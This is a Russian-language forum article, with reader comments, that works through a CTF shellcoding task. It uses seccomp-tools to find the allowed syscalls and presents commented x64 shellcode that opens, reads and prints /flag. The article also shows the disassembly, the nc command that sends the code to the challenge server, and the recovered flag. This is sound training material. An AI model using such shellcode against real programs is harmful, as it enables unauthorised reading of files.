Статья [0x01] Изучаем таски по написанию шелл-кодов: cat

🖐 Приветствую всех читателей Codeby.net 🖐

Следующая часть

Недавно я начал практиковаться в написании шелл-кодов. Чтобы лучше понять тему нужно объяснить её другому человеку так, чтобы он понял. Поэтому я буду писать о решение задач с Категория: shellcoding.
Существует
видео, как решить эти таски, но я хочу объяснить решение более подробно и в виде статьи.

Я уже писал о некоторых правилах написания шелл-кодов в этой статье

1614868142439.png

Задачи буду называть тасками. Название самого первого задания - .

Описание таска cat:

1614862116966.png


У нас есть точное местоположения файла с флагом и точная задача - прочитать этот флаг.

Изучим программу cat.elf

Программа устроена так, что она исполняет тот ассемблерный код, который мы передали.
При декомпиляции ( По умолчанию нужно нажать F5 ) программы в IDA PRO появляется вот такая ошибка:

1614862403894.png


В программе присутствуют функции seccomp.

1614862536593.png


seccomp (сокр. от secure computing mode) — один из механизмов безопасности , который обеспечивает возможность ограничивать набор доступных для приложений, а также с помощью механизма BPF ( ) производить сложную фильтрацию вызовов и их аргументов.

Seccomp - это фильтр системных вызовов. Чтобы не мучиться с дизассемблированием и изучением запретов и разрешений, один человек с GitHub придумал seccomp-tools.

Устанавливаем с помощью: sudo apt install gcc ruby-dev && gem install seccomp-tools
Используем: seccomp-tools dump ./cat.elf

1614863274669.png


Нам разрешены системные вызовы read, write, open, close ( Линия 0010 - ALLOW ).
Например: мы передаём программе read. Далее программа проверяет наш системный вызов. Он разрешён. Программа переходит к метке 0010 и выполняется дальше.

Напишем шелл-код

При написании шелл-кодов нам понадобятся по номерам системных вызовов.
Эта программа не завершается, если будут нули. Это хорошо :)

C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64

sub rsp, 0x60 ; Выделяем место в стеке для флага. Можно указать другое число.

;     int open(const char *pathname, int flags, mode_t mode);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 0x2 ; Кладём на стек номер системного вызова open
pop rax ;  Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +flag] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open

; ssize_t read(int fd, void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
xor eax, eax ; Номер системного read (0) вызова в rax
mov rsi, rsp ; Передаём в rdi выделенное нами ранее место для флага.
push 0x60 ; Кладём на стек размер выделенного нами места
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read

; ssize_t write(int fd, const void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write

flag: ; Метка для адреса со строкой /flag. Вместо этой метки в программе будет адрес на строку
db "/flag" ; Строка /flag

Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.

Таблица в :

1614874835124.png



Команда xor edx, edx будет работать в архитектуре x64. Обнуляются байты в edx, а за ними и все остальные. При обнулении регистров этим способом в архитектуре x64 нулей на линии, где расположена наша команда не будет. Проверим: ndisasm -b64 shell

Код:
00000000  4883EC60          sub rsp,byte +0x60
00000004  6A02              push byte +0x2
00000006  58                pop rax
00000007  488D3D1B000000    lea rdi,[rel 0x29]
0000000E  31D2              xor edx,edx
00000010  31F6              xor esi,esi
00000012  0F05              syscall
00000014  4889C7            mov rdi,rax
00000017  31C0              xor eax,eax
00000019  4889E6            mov rsi,rsp
0000001C  6A60              push byte +0x60
0000001E  5A                pop rdx
0000001F  0F05              syscall
00000021  6A01              push byte +0x1
00000023  58                pop rax
00000024  6A01              push byte +0x1
00000026  5F                pop rdi
00000027  0F05              syscall
00000029  2F                db 0x2f
0000002A  666C              o16 insb
0000002C  61                db 0x61
0000002D  67                a32

На линии 0000000E нулей нет.

Теперь команда lea rdi, [rel +flag]. Это команда кладёт указатель на строку с флагом в регистр rdi. Обозначение rel я не нашёл, но @Marylin очень помог с объяснением. Спасибо тебе (y)

REL - от слова Relative, т.е. относительная адресация.
Она присутствует только в 64-битном режиме, и является в нём адресацией по-умолчанию. Её ещё называют "RIP-относительная адресация", когда к текущему значению регистра-указателя RIP прибавляется смещение метки.

Сохраняем код в shell.asm.
Компилируем в бинарный файл: nasm shell.asm -o shell
Испытываем программу на сервере: cat shell | nc 109.233.56.90 11662
Вывод:Shellcode: spbctf{cc88680b25b45a469de6116b590a195a}�H����AP��P���mU�V��%.
Флаг - spbctf{cc88680b25b45a469de6116b590a195a}

Проверка флага:

1614865609203.png


Спасибо за внимание.
 
Последнее редактирование:

v1gman

Green Team
31.07.2020
495
532
BIT
24
Воу, классно расписанная статья)
Как всегда на высоте, братик :)
 
  • Нравится
Реакции: ROP

Crazy Jack

Well-known member
08.07.2017
573
89
BIT
35
Это перевод? или сам разгребал? OccupytheWeb писал похожее
Респект и уважуха

Весь прикол в 64 бит, кто шарит тот поймет
 
Последнее редактирование:
  • Нравится
Реакции: ROP

Crazy Jack

Well-known member
08.07.2017
573
89
BIT
35
Может, ты наконец перестанешь спамить сообщениями ?
После твоего последнего сообщения ничего не шло, так просто дополни его, если есть что сказать
я просто в восторге от труда
сам разбирал
 
Последнее редактирование:

ROP

Red Team
27.08.2019
327
664
BIT
163
Это перевод? или сам разгребал? OccupytheWeb писал похожее
Респект и уважуха
Это не перевод. Подробно изучаю тему шелл-кодов и пишу статьи.
Я рад, что @Marylin рассказал про rel. Информацию об этом я сам не нашёл.
 
Последнее редактирование:

Crazy Jack

Well-known member
08.07.2017
573
89
BIT
35
много плупокеров развелось, админы за ними не успевают.
 

wooolff

Green Team
19.02.2017
233
36
BIT
0
Да интересно, хорошо, но ...
Вот не пойму, все любят с бух ты барах ты начинать писать.
Почему нельзя все структурировать. Мне нравится все таки классическое пояснение.
Структуру тасков, темы, потом что такое шелл код, наконец как взять любой исполняемый файл и сделать с него шелл код, какие инструменты для этого есть, пример(или таск).
А так получается как рассказ человека больного сифилисом, интересно но ... (прям как труды нашего вождя В.И. Ленина))) )
 
  • Нравится
Реакции: ROP

ROP

Red Team
27.08.2019
327
664
BIT
163
Да интересно, хорошо, но ...
Вот не пойму, все любят с бух ты барах ты начинать писать.
Почему нельзя все структурировать. Мне нравится все таки классическое пояснение.
Структуру тасков, темы, потом что такое шелл код, наконец как взять любой исполняемый файл и сделать с него шелл код, какие инструменты для этого есть, пример(или таск).
А так получается как рассказ человека больного сифилисом, интересно но ... (прям как труды нашего вождя В.И. Ленина))) )
Согласен, что классическое пояснение лучше.
Но я не собирался писать большую и полную статью. Я написал про решение этого таска и подробное объяснение. Формат схож с CTF write-ups.
Если появится тема для подробной статьи, тогда напишу её. :)
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!